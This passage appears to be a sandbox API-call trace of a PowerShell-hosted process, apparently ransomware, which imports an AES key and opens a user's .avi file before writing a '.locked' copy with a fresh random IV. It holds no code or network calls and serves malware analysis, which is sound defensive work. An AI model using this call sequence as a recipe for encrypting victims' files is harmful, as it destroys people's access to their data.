(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.329] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.330] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0139.330] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.330] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.330] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0139.330] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.331] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0139.331] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.331] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0139.331] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0139.331] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0139.331] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.331] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0139.332] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.332] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0139.332] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.332] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0139.332] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.332] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0139.332] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.332] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0139.332] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.333] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.333] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0139.333] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.333] SystemFunction041 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.333] SystemFunction040 (in: Memory=0x8ebfa24, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebfa24) returned 0x0 [0139.333] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.333] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.333] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.333] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.333] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.334] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.334] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.334] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.334] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.334] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.334] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0139.335] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x42ebcb0) returned 1 [0139.335] CryptImportKey (in: hProv=0x42ebcb0, pbData=0x6942020, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84db8) returned 1 [0139.335] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.335] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.335] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.335] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc1, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.335] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.336] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 0x20 [0139.337] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi")) returned 0x20 [0139.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.337] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.337] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.337] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.337] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.337] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.337] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi", lpFilePart=0x0) returned 0x2c [0139.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.339] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0139.339] GetFileType (hFile=0x778) returned 0x1 [0139.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.339] GetFileType (hFile=0x778) returned 0x1 [0139.339] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.339] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0139.340] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.340] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.340] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.340] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked", lpFilePart=0x0) returned 0x33 [0139.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.340] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\w2PClaQ4pHd.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\w2pclaq4phd.avi.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0139.340] GetFileType (hFile=0x768) returned 0x1 [0139.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.340] GetFileType (hFile=0x768) returned 0x1 [0139.340] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.340] CryptGenRandom (in: hProv=0x42ebcb0, dwLen=0x10, pbBuffer=0x6957b3c | out: pbBuffer=0x6957b3c) returned 1 [0139.341] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.341] CryptDuplicateKey (in: hKey=0x8e84db8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84f78) returned 1 [0139.341] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.341] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x6958df8*=0x1, dwFlags=0x0) returned 1 [0139.341] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x6958dc4, dwFlags=0x0) returned 1 [0139.341] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xb40\x438\x24a") returned 0x0 [0139.341] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, 